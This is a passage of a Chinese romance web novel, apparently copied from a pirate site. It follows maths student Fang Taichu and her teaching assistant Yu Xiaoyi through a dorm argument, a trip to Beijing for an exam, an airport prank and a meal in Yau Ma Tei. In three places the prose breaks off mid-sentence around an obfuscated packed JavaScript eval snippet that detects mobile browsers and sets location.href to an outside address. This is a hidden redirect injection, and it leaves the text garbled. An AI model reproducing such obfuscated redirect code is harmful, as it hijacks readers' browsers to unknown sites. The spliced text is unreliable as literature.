小初看了看表,“余大少爷,请快说,说完赶紧走,我看外面好像就要下雨了。” 余萧弋似是有些落寞,“你就那么讨厌我?” 小初摇头:“我从来没说我讨厌你。” 余萧弋试探地抬眸看向她。 小初又说:“我只是说我不喜欢你。”然后看他神色一寸寸地暗淡下去。 掌控别人情绪这件事似乎有某种魔力,让人即愧疚又有些成瘾。 余萧弋问:“那你现在好点了吗?还有没有不舒服?为什么生病了没去医院,就这么硬抗着?你都没去验血,怎么就敢胡乱吃药自医?万一发展成肺炎……”他似是说不下去,调整了一下才接着说道:“就要受更大的罪。” 小初并不反感被他这样关心,却还是硬着心说道:“我说了我没那么脆弱。” “没那么脆弱却连拒绝一个人的压力都承受不了,回来就病倒了吗?” 小初蓦然看向他,“余学长,你未免也太自恋了。” 余萧弋愣住:“你叫我什么?” 小初说:“这是我刚才那句话的重点?” 余萧弋轻笑一声:“说起来方小姐还挺让我刮目相看的,上次听你评价那幅画,我还以为你是学艺术出身的,我承认我想了千万种可能,却从没有想过你会是学数学的。” 小初送了他一个白眼:“那你想象力还挺匮乏的。” 余萧弋却不生气,只是笑:“确实。” “不过,学数学也未必就比学艺术高明到哪里去,只是两套不同的思维体系罢了,我有的别人欠缺,别人有的我也无法企及,谁也不必羡慕谁,更不必小瞧谁。” 余萧弋似是有些惊讶,继而点头:“确实。” 小初说:“你是个复读机吗?只会这一句?” 他笑:“说实话,我还猜过过你是学金融的,毕竟,你账算得那么好。” “过奖,账算得好只是因为我比较爱钱而已。” “哦,是吗?”余萧弋抬眸看向她,“这么爱钱,还留钱给男人,看来,他在你心里比钱更重要。” 小初一怔,随即是真的被气笑了,“你要不换个逻辑?我这么爱钱,却宁可伤财都不想再和那个男人有一丝瓜葛,可见他有多么令人避之不及了。” 余萧弋说:“一个只有一两天情分的陌生人而已,费那么多心思干什么?” 小初呼吸一滞,忽觉房间里很闷,起身将窗户打开。 外面阴云密布,气压已极低,但不知怎么刚好起了一阵风,忽地穿堂而过,吹了她一脸的头发。 余萧弋笑出声来。 小初回过头去,已经忍无可忍,“你来这就是说这些闲话的?” 他不答,只说:“我劝你现在最好不要开窗户。” 小初没好气的:“关你什么事,你说完了没有?说完了就可以走了。” 余萧弋说:“还没说完,我来是想和你商量一下,接下来我们俩该以怎么样一种方式相处,我怕处理不好,大家都尴尬。我这个人不太喜欢把工作和私生活掺杂在一起,虽然我现在就是个part time的RA,但工作就是工作。” 小初第一次见人可以不要脸到这种程度的,听他的意思,倒像是怕她后面会追着他,让同组的其他成员看出什么来? “余学长大可放心,你的专业性我已经领教过了,那天要不是为了赶你设置的Deadline,我也不至于熬到通宵让自己大病一场!我现在就可以发誓,以后绝对都像这次一样,就算不要命也会支持你工作!至于其他的,我们不过就是一两天情分的陌生人而已,有什么可说的。” 余萧弋愣住。 小初问:“这个答案你满意了吗?” 他叹口气:“你生病的事我很抱歉,不过,既然作业这么多,周末为什么先做完呢?” “关于我私生活的部分,无可奉告。”小初打开门,已经准备送客了。 “但是。”余萧弋似是很遗憾地看了她一眼:“你既然都熬了通宵了,就要认真一点才对啊,那道函数迭代的题,你集合算错了,你一错,就导致做可视化动图的那个同学也跟着错了,更不要说再后面那个同学做的总结分析了。因为你,你们小组的作业fail了。” 他,在,说,什,么! 小初彻底僵住,反应过来后浑身的皮肤都针刺一般灼烧起来。 但她已顾不上现在的自己有多狼狈,只是又重复了一遍:“你确定?”她可以接受一切,但绝不能接受自己在专业上面犯错。 “具体你查一下邮箱吧,后天之前改完交上来,没问题吧?” 小初强自撑在那里,气焰逐渐熄灭,低声说了句,“具体我还是要看下再说。” 余萧弋看她一眼:“OK。但,你没事吧?” 小初没有温度地浅笑了一下,“放心,好得很。” “那就好。”余萧弋的视线缓缓滑过地板上来自中环某商场的一堆购物袋子,拿起她桌面上一只长耳朵狗狗的包包挂件,问她:“你还喜欢这些呢?” 小初瞪他:“我为什么不能喜欢?” 余萧弋挑了挑眉:“因为你挺凶的,跟这些可爱的公仔联想在一块就很违和,你懂吗?” 小初快被他气死了,两步就到了他面前,一把抢过那只狗:“你说得很对!我就是很凶,我要是不凶,岂不是全世界自以为是的男的都要吻上来了。”说完她又有些后悔,没事她提这个吻上来不吻上来干什么?但话已出口,她也只能装作若无其事了。 余萧弋点点头,向后靠在椅背上,仰头看向她,眼底都是笑意:“挺好的,以后记得就这么保持,免得太多自以为是的男的靠近你。” 小初指了指门的方向:“我要开始检查我的作业了,余学长你请便吧。” 余萧弋却不动,仍盯着她手里那只狗:“好像确实挺可爱的。” 小初没好气把狗扔给他:“可爱你拿走好了,然后带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309761|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着它一块离开这里,下了楼梯左转出大门,一路向前,从坡上滚下去,不要再回头。” 余萧弋大笑:“好,多谢你,方小姐。”然后终于心满意足,忽地起了身。 小初这才意识到两人之间距离已经有多近,赶紧仓皇退后一步,可还没等她来得及回味那才那一瞬间两人衣料摩擦的感觉,瞳孔就悠然放大了。 接着就是整个楼的地动山摇和尖叫声。 小初也不能免俗,一把抓住余萧弋的衣角,已经吓得快哭了,“这都是些什么东西!怎么长这么大个!还会飞!” “飞蚁啦小姐,我刚提醒你了的,最好不要开窗户,你偏说不关我的事,这种天气是这样的。”余萧弋好整以暇地,将视线定格在她抓着她的手上。 小初没空跟他斗嘴,只说:“那现在怎么办,它们为什么连纱窗都能钻进来?” “先去把窗户关上。” 小初看着他的眼睛,祈求道:“你去,可以吗?” 余萧弋嘴角勾起一个好看的弧度:“我去也可以,但你能不能先放开我?” 小初这才被烫了似的倏然放了手。 然后趁他去关窗户的空档,她已经跳上床,以站着的姿势用被子将自己围了起来。虽然窗户关得还算及时,但房间内已经飞进来不少挥着翅膀的超级飞虫,对于她这种北方人来说,这画面简直是致命。 小初欲哭无泪:“林佳宜一定会杀了我的,我刚看见她水杯里好像飞进去一只。” 余萧弋看她一眼:“没关系,你水杯里也有。” “啊?” 完了完了,她要死了。 “你们这什么破地方啊,还没有我们北京十分之一好!” “我开玩笑的。”余萧弋大笑,“放心好了,没飞进来几只,我帮你消灭掉就好了。” 小初有求于人,也没敢骂他,难得的温驯,“谢谢你啊余学长,我早说了你是个好人的。” 余萧弋没好气看她一眼,“但愿你下次见了我还这么说。” 小初弯起眼角:“我这人始终如一的。” 他不再理她,没几下就把窗台和书桌上以及灯下的大部分飞蚁收拾了个干净,并用纸巾包好扔进了垃圾桶里。 “应该差不多了。” 小初狐疑,“你确定吗?” 余萧弋转向她,因为她站在床上,所以比他高了一大截。 窗外开始下雨,好多人都在往楼里跑。 他朝她勾勾手:“过来。” 小初立刻惊悚地瞪大了眼,“干嘛?不会是我身上还有吧?你别吓唬我啊。” 余萧弋说:“头发上好像是有一只。” 他的神情极为认真,小初听了几乎没晕厥过去,也顾不上那么多,赶紧俯身下来,催促他,“快快,赶紧帮我拿掉!” 在她看不见的地方,余萧弋的嘴角浮起一丝微不可察的温柔,随即纸巾在她的发丝上轻轻一扫,“好了。” 小初抬起头来,和他对视:“真的吗?” “真的。” 两人已近到呼吸可闻。 小初这才意识到什么,神色愣住。 两人就这么对视了一会儿。 直至余萧弋说:“我得走了。” 小初如梦初醒,被子里的脚趾已缩成一团。 “哦。” 然后他就真的转了身。 小初忽地叫他:“余萧弋,我桌上有伞。” 他回眸过来,回了句温柔的粤语,“多谢晒你。”又扬了扬手里的大耳朵狗,“这个我拿走了啊,作业记得按时交。” 他一出门,小初就跌坐在了床上。 总感觉哪里不太对。 16. 第 16 章 下午一点,图书馆。 方太初在latex上敲下最后一个字符,又将整个运算过程仔仔细细核对过,才轻吁一口气,点击完成保存并以邮件的方式抄送给小组内的所有成员。 从余萧弋离开她的宿舍到现在,一天一夜,除了吃饭,她几乎把所有课下时间都用在了这份作业上。 昨天晚上她更是只睡了四个小时,才终于在二十几页密密麻麻的英文和符号中发现错误并逐一修正。中间还将某个重要公式重新推演了一遍。 如此浪费好多时间。但好在,最终的结果,已接近完美。 一颗心终于踏实下来。 此刻的她已极度疲惫,只想好好睡一觉。 这里的学习桌被隔板挡着,都是一个个独立的小格子间,私密性还可以,可以保证她不被打扰。 不知睡了多久,恍惚间有人拍她的肩膀,小初懵懵然抬起头来,一看是余萧弋,还以为自己在做梦,“Theo余,你怎么阴魂不散的,别人躲图书馆里睡会儿觉也能被你发现。学校那么大,世界那么大,你就没有自己的事可做吗?” 说完,她就又想往下趴,却被他拉住,“别在这睡,不然回去再发烧怎么办?” 小初闭上眼睛,眉间已是不耐,“烦不烦啊。” 余萧弋说:“烦我也不能放任你不管,你在这边还有别的朋友吗?” “谁跟你是朋友啊?不是告诉你带着我的狗从长坡上滚下去就别再回头了吗?” “你的狗在这呢。”他语气轻柔。 小初慢慢睁开眼,果然看见了她的狗挂在他的包包上,那么可爱的小东西,和他配一块不知怎么就有点好笑,然后她就真的笑了。 余萧弋松一口气,问:“你吃饭了吗?” “没呢,也不太饿,就是困,偏偏你还来扰人清梦。” “那我们去吃吧。” “不吃。”小初换了个姿势趴下去,“我约了个discussing room,两个小时后和我们小组成员简单碰个面,还要赶去机场。” 余萧弋蹙起眉:“你是把自己当成机器了吗?去机场做什么?” “回北京,参加一场考试。”小初说完这句是真的撑不住了,没一会儿就沉沉睡去。 再醒来,已经是一个小时之后。 身体一动,什么东西就顺着肩膀滑了下去,她定睛一看,才发现那是余萧弋的外套。 香港的室内冷气都开得很足,没有外套确实容易着凉。 “醒了?”他的声音从身后传来。 小初这次脑子清明了许多,却也因此有些窘迫。 从认识到现在,两人之间已太多不可言说的巧合,巧合到她甚至都怀疑他们是被什么人拉进了本不属于他们的剧本里。 如果真的是这样,那她和他的剧情走向是什么样的?结局又如何? “嗯。”小初将他的外套从地上捡起来递给他,“谢谢你。” 余萧弋说:“还有点时间要不要去吃点东西?我听说楼下餐厅的乌冬面很不错。” 小初看了看他,犹豫不决。 她当然知道只要夜里举目就能看到漫天璀璨的星辰,但她也同样知道宇宙的运行法则,所有天体之间的距离都很远。 因此,当你乘飞船星际旅行,所经历的不会是一颗颗美丽的星星从身边划过,而是无边无际的荒芜和孤寂,连碰到一颗小行星的几率都很低。 人生的旅程本来就是孤独的。 而现在,有人告诉她,在多少光年之外,恰好就有一颗和地球一样的行星,差不多的质量和密度,差不多的公转自转周期,差不多的氧气含量和温度,差不多同样适合碳基生物孕育和生存,并且可以告诉她这颗行星的精准坐标,那她一定会认为…… 这是个骗局。 而人在同一个星球上遇到真正与自己契合的灵魂的概率甚至比这个还要低。 所以余萧弋出现在她人生里这件事,从头到尾,都让她心惊和防备。 她从不相信什么一见钟情。 “是Cathy告诉我你在这的。”余萧弋解释。 小初说:“你不是不想让他们知道你和我认识吗?” 余萧弋眨眨眼,“我说我是来找你催作业的。” 她骂:“魔鬼。” “走吧,魔鬼也得吃饭。” 他自然而然帮她收起电脑。 在小初反应过来之前,已经跟着他下了楼。 一路上不知吸引多少人目光,好多人跟他热情打招呼,叫他:“余学长。” 小初问:“余萧弋,你本科也在这里念的吗?” 他点头:“嗯。” 她笑:“那你这几年一定没少出风头。” 他斜睨她:“何以见得?” “因为从那些女生的眼睛里就能看出你是个有故事的男同学。怎样,该不会你前好几任都是咱们的校友吧?” 余萧弋挑眉看她一眼,“方太初,你这是开始对我的私生活感兴趣了吗?” 小初立刻闭了嘴。 楼下餐厅的乌冬面确实不错,小初一边吃一边看手表,生怕自己错过约定时间。 “Relax啦,还早呢。” 小初说:“本来因为自己影响整个团队就已经很不好意思了,再迟到肯定会被人骂。” “回北京考什么?” 小初叹口气:“法考啊,还不确定自己能不能一次就过呢,如果考不过,下个月的第二场考试也不用参加了,省心了。” 余萧弋被迷一样的她又震撼了一次,隔了几秒才说:“一定过的。” “借你吉言。” 两人碰了碰杯子。 “所以你就是因为要赶回北京考试才这么快把作业改完的?” “是,也不是。”小初笑笑:“主要我接受不了自己犯那么低级的错误。” 余萧弋不疾不徐地帮她把茶杯续满,“只要是人,谁能保证自己不犯错误?你不要对自己太苛刻了,那样会很辛苦的。” 小初答,“那怎么办?从小到大已经习惯这样的自己了。而且,浪费了那么多时间算出来的结果竟然是错的,简直不可原谅。” “那不是更奇怪吗?”余萧弋的目光通透落在她的脸上,“你自己都是学数学的,难道会不知道截止到今天,黎曼猜想还没有被数学界严格证明?要是以结果论,大多数数学家一辈子都是在浪费时间。” 小初愣住,继而一笑:“也是。” 两人不再就这个问题继续探讨。 直至一顿饭快吃完,余萧弋才不经意地说了句:“那帮人都认识我,不是因为我是什么有故事的男同学,只不过因为我之前是击剑队的,代表学校参加过一些比赛而已。” 小初瞪大眼:“是吗?” 余萧弋笑:“你不用这么震惊,我成绩很一般。” 小初眨眼:“这个我知道,一定是因为你没有那么多时间练习罢了,要不然……” 两人异口同声:“奥运会也没什么可望而不可及的。” 然后又一同大笑。 小初喝掉最后一口茶:“走了啊,下周见。” 余萧弋点点头,开玩笑似的问了句:“要不要待会送你去机场啊?” 小初摆手:“别,咱俩就这样君子之交淡如水挺好的,你离得太近我容易应激。” 余萧弋想了想,“那请问君子,你能把我微信加回白名单吗?” “……” 晚上十点,小初落地首都机场。 才三四周没回家,就好像过去了一个世纪。北京的秋天早晚很凉,小初没带行李,一出机舱就冻得抱起了双臂,还好,黄亦玫已在到达大厅等她。 一见她面她就心疼地抱住了她,“天呐,方小姐怎么瘦成这样了。” 小初说:“水土不服。”又问,“我爸回来没说我瘦了?” “没!” 小初假装吃醋,“那是因为他更心疼您,怕您担心我呢!” 黄亦玫把厚外套披在她身上,“这倒是有可能。走吧,妈妈带你去吃好吃的,想吃什么?” 小初问:“我爸出差了?” “嗯,大概下周才能回了。” 小初抱住她妈妈,“那你寂寞吗?” 下一秒就被黄亦玫戳住了脸颊,“没大没小!” 两人驱车直奔家附近的一家烧烤店,小初吃了一大堆滋滋冒油的炸物,最后又来了一份炒方便面,差点把她妈妈心疼出眼泪来。 “就这么饿?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309762|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,特饿,明天还想吃姥姥做的炸酱面。” 黄亦玫眨眼,“心有灵犀,我也想吃。” 两人一拍即合。 看到这碗方便面,小初才想起余萧弋来,略作思考,还是把他从黑名单里拉了出来。 拉回来的瞬间,历史聊天记录就跃然而出,最后一条显示的还是她冒雨离开绮丽的那一晚,他给她发的消息:那晚安,明天一起吃早餐。 小初有些恍惚。 黄亦玫不经意问她:“子瑜还好吗?” “妈,他在香港那边交了个女朋友,俩人已经好了半年多了。” 黄亦玫深深看向她,似是很意外,又像是早料到会如此似的,安慰道:“没关系啊,人和人之间可能是需要一点缘分的,至少,你们曾经是最好的朋友,对吗?止步到友情也是个不错的结局。” 小初笑,很奇怪,此刻的她已经再没有任何难过的感觉,“放心吧妈妈,我想得通。” 黄亦玫点点头,不再多说,只是把目光转向她面前的那满满一大盘子:“那这份方便面你要自己吃完啊,我减肥我一口不吃的。” 小初郑重其事,“保证完成任务!” 那个盛方便面的盘子非常漂亮,小初拍了张照片发到朋友圈,配文:「深夜食堂」。 饭还没吃完就收到几十条评论。 方协文说:「你好容易回来一趟,就不能带我老婆去吃点好的吗?」 舅舅黄振华说:「会不会吃,老北京方便面,你得配一瓶北冰洋。」 小初漫不经心一路看下去,直至看到那句明显不一样的:「好唔好食?」眸光才轻轻闪了一下。 连她自己都没意识到她上扬的嘴角勾起的一抹淡笑。 「好好食。」 回完这一句她就把手机倒扣在了桌子上,心情明媚地吃完了一整份面。 黄亦玫不说话,只看着她笑。 两人回到家也在挤在一个枕头上睡觉,小初有时候觉得她的妈妈不像妈妈,至少不像其他大多数人的妈妈,她更像她的朋友,但远比她的朋友更善于倾听她,并永远懂得什么时候应该沉默,什么时候应该给她适当的意见。 只是这样闻着她头发的味道,她就莫名安心。 父爱和母爱是两个不同的维度,还好,她已全部拥有。 “妈妈,我在香港特别想你。”小初轻绕着黄亦玫的发丝,迷迷糊糊地撒着娇。 “那我倒希望你有一天没那么想我。” “为什么!”小初抗议。 黄亦玫不答,只是轻轻关上了灯,“快睡吧,明天还要考试。” “嗯。”小初将自己的下巴埋在妈妈的颈窝里,没一会儿就睡着了。 她太累了,不止是这一两天,而是这整整半年。直至此刻,她才心归故乡,感觉自己彻底被治愈了。 第二天的考试还算顺利,考完试,小初就和黄亦玫直奔清华家属院,吃上了她们心心念念的家庭版炸酱面。 姥姥姥爷年纪大了,方协文和黄亦玫不止一次请他们过去一块生活,也方便照顾他们的身体和起居,但都被拒绝了。 问就是他们一辈子待在这个环境习惯了,爬爬步梯有益于身体健康,和老同事老朋友聊聊天还能预防老年痴呆。 老一辈革命工作者的意志像钢铁,黄亦玫无法撼动,黄振华也没辙,最后只能随他们去。 好在他们的身体还算不错,晚年生活质量蛮高的。 小初在清华园又住了一晚,然后才精力十足地踏上了返港的飞机。北京秋天的风很清爽,阳光干燥,已经足够她抵御她即将踏入的很长一段时间的潮湿。 临出发前,余萧弋发微信过来,说他到机场送铭仔去温哥华,问要不要顺便载她回去。 见她半天没回,他又说:“如果过意不去,可以付车费,三百港币多是多了点,但勉为其难我也可以笑纳。” “……” 小初回他:“你也别笑纳了,我给你带点北京特产过去好了。” 余萧弋受宠若惊,“啊?这会不会太麻烦?” 小初没回,而是直奔机场内的某家老字号,给他点了杯老北京豆汁儿。 她已想好,一会儿也用那句粤语问问他,“好唔好食呀?” 17. 第 17 章 这一次北京飞香港,天气晴好,飞行顺利,航班甚至比预定时间还早到了七分钟。 飞在云端之时,方太初不止一次看向那杯老北京豆汁儿,想象着那个人喝下它时的表情该是如何痛不欲生。 她本不是个无聊到此等境地的人,却不知为何突然变得这么幼稚,一颗心更是如同充满了氢气的气球,漂浮且易燃。 离闸机还有很远,她就在一片嘈杂和纷乱中看见了他。 世界不知怎地安静下来。 她走向他。 他应该是在和什么人打电话,分散的精力让他并没有第一时间发现她,这刚好让她无需刻意回避目光。 她当然一开始就知道他长得很不错,却从不知他在人群中竟有这么醒目。 然后一个奇怪的念头就跳了出来,他和叶子瑜,不谈内在只说气质,到底哪里不一样? 她说不上来,但就是不一样。 他们都很幸运,拥有着令人羡慕的人类建模,只不过叶子瑜的鼻骨更优越一些,而他,则眉眼更深邃。 就像北方高耸入云的落叶白杨和南方枝叶层叠的常绿香樟,是不需要在美感上分出胜负的。 余萧弋的taste很好,每次都能用最简约的衣服饰品搭配出赏心悦目的效果。她注意到他头发比她们第一次见面时长了好多,鬓角处的头发用水性发蜡微微拢向耳后,只一点点,就让那种压抑不住荷尔蒙涌动从谦逊有礼的外表下蔓延出来,性感得很含蓄,却又无处不在。 性感两个字让小初红了脸,离他剩两三步时,她那颗氢气球已在爆炸边缘。 正要开口打招呼,不想另一个航班的旅客也从闸口走了出来,接机的人呼啦啦靠上前去,有个举着牌子的冒失鬼,也不知要接的是个什么重要人物,竟激动得慌不择路,直冲他们之间斜插过来,小初躲避不及,下意识就闭上了眼,做好了被他撞上的准备。 可半晌过去,她担心的事情也没有发生,待她试探地睁开眼,才发现余萧弋正看着她笑呢,一只手虚虚护着她的头,半个身子帮她挡住那男人的同时,耳边的电话甚至还没讲完。 小初立刻反应过来,他这是早就看见她了?不仅看见了,还预判了她可能遭遇的危险? 小初的氢气球砰的一声炸成了碎片,金色粉末飘飞下来,她但愿他没看见她打量他时肆无忌惮的目光。 那男人连道歉都未道歉就跑开了。 余萧弋挂掉电话。 “嗨。”他说。 小初不知道说什么,也说了声:“嗨。” 空气一下子凝住。 “坐这么久飞机累了吧?” “你什么时候到的?” 两人同时开口,而后又一块露出笑容。 “不累,这次挺快的。”小初说。 “快吗?”他淡淡的,“我明明等了好久。” 小初不可思议地看向他。 他弯起眼角,“开玩笑的,这边人多,我们先出去吧。” 小初点点头。 两人一块往外走,小初落后一步,她看不见他的脸,目光只落在他弓箭包上的长耳朵狗挂件上,他的步子太大,小狗一直随着他的节奏蹦蹦跳跳着。 怎么看怎么滑稽却也很可爱。 余萧弋突然回过头来,问她:“你跟在后面干什么?我看你那天从新界上的山上下去的时候,跑得挺快的。” “……”她瞪他一眼。 “不是说给我带什么特产了吗?在哪呢?不会忘了吧?” 小初心里的愧疚顿时荡然无存,心想你一会儿别后悔就行。然后就把那个还贴着老字号标签的杯子从保温袋里拿了出来,并亲手帮他插上吸管,递到他面前:“那怎么能忘呢,我方太初岂是言而无信的人?” 她的笑容有种即将得逞的快意,“请吧Theo余。” 余萧弋狐疑看着她:“我怎么感觉这里面有什么阴谋呢?”他看了看包装上的字,“这东西和豆浆什么区别?” 小初特别真诚:“从原材料的角度上来说,没有区别。” 余萧弋送给她一个你最好跟我说的实话的眼神就含住了那根吸管。 小初紧紧盯住他的表情。手指甚至已经不自觉抓紧了口袋里的纸巾,以防他一口吐出来好帮他按回嘴里去。 他开始吸了。 他的喉结动了动。 他吞了下去,面无表情。 似是意犹未尽,他竟又吸了大大一口。 小初难以置信,瞪大眼睛看向他深邃的眼底,而那里也一片平静,平静得像一方冬天结了冰的湖。 “这,这么好喝吗?” 小初又仔细看了下杯子上的包装,甚至有点怀疑自己买错了。 豆汁儿这东西虽说她长这么大就喝了那么一次,但她十分肯定,她这辈子都不可能忘记它的味道了,她估计她上辈子在街边要饭的时候都没喝过那么难喝的东西。 可眼前这个Theo余怎么回事,竟然喝得这么气定神闲,怡然自得?难道是这些老字号都改了配方调整了风味? “好喝啊。”余萧弋奇怪看她一眼,“怎么,好喝很奇怪吗?” “当,当然没有!”小初即刻否认。 然后她还是没忍住,“我问一下啊,它在你嘴里,究竟是一种什么味道啊?” “就豆香味啊。” 余萧弋的表情不像撒谎。 “豆香?” “嗯,有点区别,但不太多。” “真的假的啊?”小初好奇至极,一把从他手中拿过那杯已经被他喝了小半杯的不明液体,在自己和他都没反应过来之前,已经就着他刚刚的吸管咬了去,接着还没过一秒,她就直接呕了出来,要不是她手里就攥着纸巾,今天她就得留下来给香港机场做卫生。 “余萧弋!”她咳得眼泪都下来了,恨不能将自己整个都跳进水里洗一遍,“你故意的吧!” 小初一阵怆然涕下。 一抬头,却见他仍盯着那个杯子发呆,不禁更气不打一出来,问他:“你包里有水吗?” “啊……有。”余萧弋手忙脚乱将包里的水杯找出来递给她。 小初也没客气,就那么就着他的杯沿大大灌了几口水下去,这才将那股令人痛不欲生的该死的味道冲淡下去。 “余萧弋,你是不是味觉系统有问题啊?”小初快疯了。 这豆子怎么跟死了一千年似的。 “没有啊,我就是觉得还可以啊。你该不会是知道它味道不好才特意买给我的吧?”余萧弋瞪着黑白分明的眼睛看向她,一副很受伤的样子。 小初的心蓦地一动。 “怎么会!”小初把他的杯子放回到他的包里去,若无其事地拉上拉链,然后才说,“我们是朋友!我怎么会那么对自己的朋友!” “谢谢你啊,方太初,你也是个好人。”他学她的语气。 小初望向他。 余萧弋再次含住那根吸管。 像奔赴一场心甘情愿的死亡。 “好了。”小初抢过那个杯子,“不要喝了。” “为什么?” “不为什么。”小初把杯子扔进垃圾桶,声音有点闷,“我们去吃饭吧,我饿了。” “哦。”余萧弋想了想,“忘了和你说,我是跟我另外一朋友一起来送铭仔的,但是他懒得等我,就把车开走了,现在,我们只能去坐MTR了。” 小初被气笑,“你这都交的一群什么朋友啊?铭仔几点的飞机?” “上午十一点。” “什么?”小初看了看手表,直至确认现在已经下午两点,“所以你一个人在这等了三个小时?” “也没有干等着,我用平板看paper来着,不过现在确实有点饿了。” 小初已不知怎么形容自己此刻的心情,只问他,“那你想吃什么?” “我们去我从小吃到大的一家冰室吃通心粉好唔好?” 余萧弋的神色无限期待和温柔。 小初心一软,就点了头。 他们从香港机场先到青衣乘东涌线,然后又换荃湾线,直折腾了快四十分钟才到达目的地。 可是很奇怪,好像两个人都没觉得累。 其中一段有几站地,他们只有一个座位,小初坐着,他就站在她的前面,不远不近,两个人各自听着自己的音乐,始终没有说话。 可只有小初知道,她全程都在看他的手,他的手指真的好长,她悄悄在心里比较了一下,大概能将她的整个包裹在掌心。 耳机里传来的是旋律很美的一段钢琴,她想,他若是弹钢琴,拇指和尾指张开肯定可以跨一个八度不止,要不是因为手太小,她小时候也未必不会把钢琴坚持下去,导致现在一个音乐方面的业余消遣都没有。 正发着呆,却忽见他对着她打了响指,小初蓦地抬起头来,脸色已泛红,“怎么了?” “到了。” 两人在油麻地下车,又走了几百米才终于到了他所说的那家冰室。 非常其貌不扬的一间小店,至少小初并没有看出它和街上其他的小馆子有什么区别。也可能他们去的时段还好,并没有碰见所有网红店都不可避免的排队大军。 直至她们捡了个不起眼的位置坐下来,她才看见密密麻麻的一整面墙的店家和明星名流们的合影。 小初咋舌,“真是酒香不怕巷子深。” 余萧弋说:“你仔细找找,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309763|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面有小时候的我。” 小初瞪大眼睛:“真的?” “当然真的。”又问她,“你吃什么?” 小初其实在飞机上已经吃过,这会儿根本不太饿,于是跟他说:“你随便点就好。”说完就把注意力都转到墙上去了。 余萧弋于是直接按习惯点了番茄通心粉和红豆牛奶冰,又帮她点了黑松露蛋多士配冻奶茶,额外还点多了一个他们家的招牌菠萝包。 店主是个五十岁上下的矮胖男人,店里除了两个伙计就是他,生意好的时候忙得几乎脚不沾地,这会儿人不多,才有空掀起眼皮看看店里的食客,这么一掀不要紧,竟看到个熟悉面孔来,下一秒已经满脸堆笑迎上前来:“余少好耐冇见!” 小初刚好这会儿懊丧地转过头来,“找不到,这么多人,又都长得差不多,我到哪里找?” 余萧弋睨她一眼:“什么叫都长得差不多?” “就是差不多啊,你们的眉眼。”小初用两只手分别挡住自己的眼睛上下,“就都很像,你不觉得吗?” 余萧弋好心提醒她,“小姐,跟你说了我妈妈是哈尔滨人,当年也是靓绝松花江的,我长得最像她,你会一眼看不到?” 小初说:“可你是个MIX啊,你妈妈是你妈妈,你是你。” 余萧弋咬咬牙。 店家看出端倪,即刻用普通话搭话,“余少女朋友生得好靓啊。” 余萧弋还没来得及反应,小初就接过话去,满脸拒绝,“可是你们夸猪脚饭也说好靓,好靓这个词真的是用来夸人的吗?” 大家都笑。 余萧弋抬眸看向她。 眼底有什么东西已经压制不住。 店主说:“那这靓就是漂亮,好的意思,小姐你靓到爆晒镜。” 小初指了指墙,“他真的在这上面吗?” “当然在啦,我指给你看啊。”店主慢慢扭着身子,将他的一身肥肉挪动过来,“这不就是吗?” 小初瞪大眼睛看过去。 那张照片里的余萧弋大概十岁左右,仔细一看和现在还是像的。 他身边还站着个更小的小男孩,除了他们俩,旁边还有三个大人,两个年纪偏长的,看着像一对夫妻,还有个美丽而张扬的年轻女孩,几个人长得倒不十分像,却有个共同的特点,那就是看着都很贵气。 “这两个人是?”小初指了指那两个年纪大的。 店家说:“不就是……” 却被余萧弋打断,“我爷爷奶奶。” 伙计把他们的餐食送了上来。 店主弯起眼睛:“那你们慢慢食,有事喊我就好。”然后就离开了他们的座位。 余萧弋点头。 小初说:“你奶奶气质真好。”又问,“这个小男孩是?” “我弟弟,余萧泽。” 小初呆住,“你还有弟弟呢?”她在北京的同学大多数都独生子女,她好像很少听说谁有兄弟姐妹,叶子瑜那种重组家庭的除外。 “不止有弟弟,还有个妹妹,不过那时候她还小,没一块来。” “哈?” 小初不知道说什么了,只低头默默喝了口冻奶茶。 奶茶的味道还不错。 余萧弋说:“怎么不说话。” “我在消化信息。”小初咬住吸管。 “意外吗?” “还好。”小初笑笑:“你们这边的传统观念好像是会更重一些。” 余萧弋说:“照片里还有的那个人,就是我姑姑余蓁蓁。” “是吗?”小初转过头去又看了一眼,发现对方那时候还太年轻,并不怎么符合她想象中的猫眼贵妇的形象,反而更像个不谙世事的大小姐。 “她很漂亮。” “我还另有一个姑姑和两个叔叔,不过那个姑姑已经嫁去了美国,两个叔叔其中一个还没结婚,我爸爸是我爷爷奶奶的长子。” 小初依旧无意识地咬着那根吸管。 她突然发现,她和他其实是在截然不同的两种文化背景中长大的,这样的两个人,真的有成为比朋友更进一步关系的可能吗? “方太初,我已经说完了我的,你是不是也该说说你?” “我?” 余萧弋的眼神逐渐深邃,“对啊,比如,那天开迈巴赫来学校接你的那个有钱男人,他是谁?” 